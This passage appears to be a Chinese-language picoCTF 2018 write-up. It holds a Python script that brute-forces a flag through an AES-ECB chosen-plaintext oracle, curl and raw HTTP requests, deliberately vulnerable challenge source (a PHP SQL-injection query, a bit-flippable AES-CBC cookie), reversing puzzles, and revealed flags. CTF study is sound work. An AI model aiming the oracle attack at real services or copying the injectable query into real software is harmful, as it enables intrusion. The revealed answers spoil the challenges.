picoCTF{d0_u_kn0w_th3_w@y_2_RS@_b38be18a}

SpyFi

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python2 -u
from Crypto.Cipher import AES

agent_code = """flag"""

def pad(message):
    if len(message) % 16 != 0:
        message = message + '0'*(16 - len(message)%16 )
    return message

def encrypt(key, plain):
    cipher = AES.new( key.decode('hex'), AES.MODE_ECB )
    return cipher.encrypt(plain).encode('hex')

welcome = "Welcome, Agent 006!"
print welcome

sitrep = raw_input("Please enter your situation report: ")
message = """Agent,
Greetings. My situation report is as follows:
{0}
My agent identifying code is: {1}.
Down with the Soviets,
006
""".format( sitrep, agent_code )

message = pad(message)
print encrypt( """key""", message )

AES的ECB模式存在选择明文攻击。

当输入9个字节时,message中flag之外的部分长度为122个字节,密文长度为160个字节;当输入10个字节时,密文长度为176个字节。说明flag长度为160-122=38个字节。

将message分组输出,看到爆破flag的机会。

写完代码验证可行。

最后成果:

picoCTF{@g3nt6_1$_th3_c00l3$t_8124762}

全部代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def part_msg(message,part_length=16):
	sl=len(message)
	pl=part_length 
	m=[message[pl*i:min(sl,pl*i+pl)] for i in range(sl/pl+(sl%pl>0))]
	return m
msg=['Agent,\nGreetings. My situation report is as follows:\n','\nMy agent identifying code is: ','.\nDown with the Soviets,\n006\n',]

from pwn import connect
import string
import time
def solve():
	cnt=0
	flag='picoCTF{@'
	# sitrep,agent_code='',''
	# message =msg[0] +sitrep+msg[1]+agent_code+msg[2]
	for j in range(38-len(flag)):
		for i in string.printable:
			# print "flag:",i
			r=connect("2018shell2.picoctf.com",37131)
			cnt+=1;time.sleep(1)
			prompt=r.recvuntil("report: ")
			# 113 + (11+16+38+10)  + 38 = 226
			base='fying code is: '+flag
			sitrep='@'*11+base[-15:]+i+'@'*(38-len(flag)+10)
			# agent_code="#"*38
			# message =msg[0] +sitrep+msg[1]+agent_code+msg[2]
			# print '\n'.join(map(repr,part_msg(message)))
			r.sendline(sitrep)
			response=r.recv()
			# print len(response)
			tmp=part_msg(response,32)
			# print len(tmp)
			# print '\n'.join(tmp)
			r.close()
			# print len(msg[0]+sitrep+msg[1]+flag)/16
			if tmp[4]==tmp[len(msg[0]+sitrep+msg[1]+flag)/16]:
				flag+=i
				break
		print "flag:",flag,cnt

print "flag:",time.asctime()
solve()
print "flag:",time.asctime()

Web Exploitation

Buttons

1
2
curl http://2018shell2.picoctf.com:65107/button2.php --data "123"
Well done, your flag is: picoCTF{button_button_whose_got_the_button_91f6f39a}

Artisinal Handcrafted HTTP 3

先请求一下login页面:

1
2
GET /login HTTP/1.1
Host: flag.local

发现表单是这样的:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
HTTP/1.1 200 OK
x-powered-by: Express
content-type: text/html; charset=utf-8
content-length: 498
etag: W/"1f2-UE5AGAqbLVQn1qrfKFRIqanxl9I"
date: Sun, 07 Oct 2018 18:33:21 GMT
connection: close


		<html>
			<head>
				<link rel="stylesheet" type="text/css" href="main.css" />
			</head>
			<body>
				<header>
					<h1>Real Business Internal Flag Server</h1>
					<a href="/login">Login</a>
				</header>
				<main>
					<h2>Log In</h2>
					
					<form method="POST" action="login">
						<input type="text" name="user" placeholder="Username" />
						<input type="password" name="pass" placeholder="Password" />
						<input type="submit" />
					</form>
				</main>
			</body>
		</html>

再请求登陆:

1
2
3
4
5
6
POST /login HTTP/1.1
Host: flag.local
Content-Length: 38
Content-Type: application/x-www-form-urlencoded

user=realbusinessuser&pass=potoooooooo

响应:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
HTTP/1.1 302 Found
x-powered-by: Express
set-cookie: real_business_token=PHNjcmlwdD5hbGVydCgid2F0Iik8L3NjcmlwdD4%3D; Path=/
location: /
vary: Accept
content-type: text/plain; charset=utf-8
content-length: 23
date: Tue, 09 Oct 2018 15:11:46 GMT
connection: close

Found. Redirecting to /

带上cookie请求:

1
2
3
GET / HTTP/1.1
Host: flag.local
cookie: real_business_token=PHNjcmlwdD5hbGVydCgid2F0Iik8L3NjcmlwdD4%3D; Path=/

响应:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
HTTP/1.1 200 OK
x-powered-by: Express
content-type: text/html; charset=utf-8
content-length: 438
etag: W/"1b6-eYJ8DUTdkgByyfWFi6OJJSjopFg"
date: Tue, 09 Oct 2018 15:12:57 GMT
connection: close


<html>
    <head>
        <link rel="stylesheet" type="text/css" href="main.css" />
    </head>
    <body>
        <header>
            <h1>Real Business Internal Flag Server</h1>
            <div class="user">Real Business Employee</div>
            <a href="/logout">Logout</a>
        </header>
        <main>
            <p>Hello <b>Real Business Employee</b>!  Today's flag is: <code>picoCTF{0nLY_Us3_n0N_GmO_xF3r_pR0tOcol5_2e14}</code>.</p>
        </main>
    </body>
</html>

【X】Secure Logon

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from flask import Flask, render_template, request, url_for, redirect, make_response, flash
import json
from hashlib import md5
from base64 import b64decode
from base64 import b64encode
from Crypto import Random
from Crypto.Cipher import AES

app = Flask(__name__)
app.secret_key = 'seed removed'
flag_value = 'flag removed'

BLOCK_SIZE = 16  # Bytes
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \
                chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]


@app.route("/")
def main():
    return render_template('index.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.form['user'] == 'admin':
        message = "I'm sorry the admin password is super secure. You're not getting in that way."
        category = 'danger'
        flash(message, category)
        return render_template('index.html')
    resp = make_response(redirect("/flag"))

    cookie = {}
    cookie['password'] = request.form['password']
    cookie['username'] = request.form['user']
    cookie['admin'] = 0
    print(cookie)
    cookie_data = json.dumps(cookie, sort_keys=True)
    encrypted = AESCipher(app.secret_key).encrypt(cookie_data)
    print(encrypted)
    resp.set_cookie('cookie', encrypted)
    return resp

@app.route('/logout')
def logout():
    resp = make_response(redirect("/"))
    resp.set_cookie('cookie', '', expires=0)
    return resp

@app.route('/flag', methods=['GET'])
def flag():
  try:
      encrypted = request.cookies['cookie']
  except KeyError:
      flash("Error: Please log-in again.")
      return redirect(url_for('main'))
  data = AESCipher(app.secret_key).decrypt(encrypted)
  data = json.loads(data)

  try:
     check = data['admin']
  except KeyError:
     check = 0
  if check == 1:
      return render_template('flag.html', value=flag_value)
  flash("Success: You logged in! Not sure you'll be able to see the flag though.", "success")
  return render_template('not-flag.html', cookie=data)

class AESCipher:
    """
    Usage:
        c = AESCipher('password').encrypt('message')
        m = AESCipher('password').decrypt(c)
    Tested under Python 3 and PyCrypto 2.6.1.
    """

    def __init__(self, key):
        self.key = md5(key.encode('utf8')).hexdigest()

    def encrypt(self, raw):
        raw = pad(raw)
        iv = Random.new().read(AES.block_size)
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return b64encode(iv + cipher.encrypt(raw))

    def decrypt(self, enc):
        enc = b64decode(enc)
        iv = enc[:16]
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return unpad(cipher.decrypt(enc[16:])).decode('utf8')

if __name__ == "__main__":
    app.run()

【X】A Simple Question

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
  include "config.php";
  ini_set('error_reporting', E_ALL);
  ini_set('display_errors', 'On');

  $answer = $_POST["answer"];
  $debug = $_POST["debug"];
  $query = "SELECT * FROM answers WHERE answer='$answer'";
  echo "<pre>";
  echo "SQL query: ", htmlspecialchars($query), "\n";
  echo "</pre>";
?>
<?php
  $con = new SQLite3($database_file);
  $result = $con->query($query);

  $row = $result->fetchArray();
  if($answer == $CANARY)  {
    echo "<h1>Perfect!</h1>";
    echo "<p>Your flag is: $FLAG</p>";
  }
  elseif ($row) {
    echo "<h1>You are so close.</h1>";
  } else {
    echo "<h1>Wrong.</h1>";
  }
?>

reversing

assembly-0

What does asm0(0xd8,0x7a) return? 0x7a。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
.intel_syntax noprefix
.bits 32
	
.global asm0

asm0:
	push	ebp
	mov	ebp,esp
	mov	eax,DWORD PTR [ebp+0x8]
	mov	ebx,DWORD PTR [ebp+0xc]
	mov	eax,ebx
	mov	esp,ebp
	pop	ebp	
	ret

assembly-1

What does asm1(0xcd) return? 0xca。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
.intel_syntax noprefix
.bits 32
	
.global asm1

asm1:
	push	ebp
	mov	ebp,esp
	cmp	DWORD PTR [ebp+0x8],0xde
	jg 	part_a	
	cmp	DWORD PTR [ebp+0x8],0x8
	jne	part_b
	mov	eax,DWORD PTR [ebp+0x8]
	add	eax,0x3
	jmp	part_d
part_a:
	cmp	DWORD PTR [ebp+0x8],0x4e
	jne	part_c
	mov	eax,DWORD PTR [ebp+0x8]
	sub	eax,0x3
	jmp	part_d
part_b:
	mov	eax,DWORD PTR [ebp+0x8]
	sub	eax,0x3
	jmp	part_d
	cmp	DWORD PTR [ebp+0x8],0xee
	jne	part_c
	mov	eax,DWORD PTR [ebp+0x8]
	sub	eax,0x3
	jmp	part_d
part_c:
	mov	eax,DWORD PTR [ebp+0x8]
	add	eax,0x3
part_d:
	pop	ebp
	ret

assembly-2

What does asm2(0x7,0x28) return? hex(int((0xa1df-0x7)/float(0x76))+1+0x28) => 0x188

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.intel_syntax noprefix
.bits 32
	
.global asm2

asm2:
	push   	ebp
	mov    	ebp,esp
	sub    	esp,0x10
	mov    	eax,DWORD PTR [ebp+0xc]
	mov 	DWORD PTR [ebp-0x4],eax
	mov    	eax,DWORD PTR [ebp+0x8]
	mov	DWORD PTR [ebp-0x8],eax
	jmp    	part_b
part_a:	
	add    	DWORD PTR [ebp-0x4],0x1
	add	DWORD PTR [ebp+0x8],0x76
part_b:	
	cmp    	DWORD PTR [ebp+0x8],0xa1de
	jle    	part_a
	mov    	eax,DWORD PTR [ebp-0x4]
	mov	esp,ebp
	pop	ebp
	ret

assembly-3

What does asm3(0xbda42100,0xb98dd6a5,0xecded223) return? 0x478

1
2
3
ebp+0x8=>0xbda42100
ebp+0xc=>0xb98dd6a5
ebp+0x10=>0xecded223
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
.intel_syntax noprefix
.bits 32

.global asm3

asm3:
        push    ebp
        mov     ebp,esp
        mov     eax,0xbc;0xbc
        xor     al,al;0x00
        mov     ah,BYTE PTR [ebp+0x9];0x2100
        sal     ax,0x10;0x0000
        sub     al,BYTE PTR [ebp+0xc];0x005b
        add     ah,BYTE PTR [ebp+0xd];0xd65b
        xor     ax,WORD PTR [ebp+0x10];0xd65b^0xd223=0x478
        mov     esp, ebp
        pop     ebp
        ret

有几点需要注意。一是数据采用小端序存储,高字节在高地址,[ebp+0x8]的值是0x00而非0xbd;二是 sub 0x00,0xa5 的值是0x100-0xa5=0x5b 。 三是WORD PTR [ebp+0x10] 的值是0xd223 而非0x23d2

可参考 此处 将汇编代码编译成共享库在C程序中调用。执行得到结果,也可调试加深理解。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
section .text
global asm3

asm3:
	push   	ebp
	mov    	ebp,esp
	mov	eax,0x19
	xor	al,al
	mov	ah,BYTE [ebp+0xa]
	sal	ax,0x10
	sub	al,BYTE [ebp+0xd]
	add	ah,BYTE [ebp+0xc]
	xor	ax,WORD [ebp+0x12]
	mov	esp, ebp
	pop	ebp
	ret
##################
#include <stdio.h>
extern int asm3(int a, int b, int c);

int main(void) {

	printf("0x%x\n", asm3(0xb5e8e971,0xc6b58a95,0xe20737e9));

	return 0;
}
##################
[andrei@jacky 15:27:00] ~/Documents/pico/3
——> nasm -f elf32 end_asm_rev.S -o asmfun.o
[andrei@jacky 15:27:42] ~/Documents/pico/3
——> gcc sol.c asmfun.o -o sol -m32
[andrei@jacky 15:27:59] ~/Documents/pico/3
——> ./sol

assembly-4

1
2
3
4
root@kali:~/ctf/pico18# nasm -f elf32 comp.nasm -o comp.o
root@kali:~/ctf/pico18# gcc -m32 -o comp comp.o
root@kali:~/ctf/pico18# ./comp
picoCTF{1_h0p3_y0u_c0mP1l3d_tH15_32429699163

picoCTF{1_h0p3_y0u_c0mP1l3d_tH15_3242969916}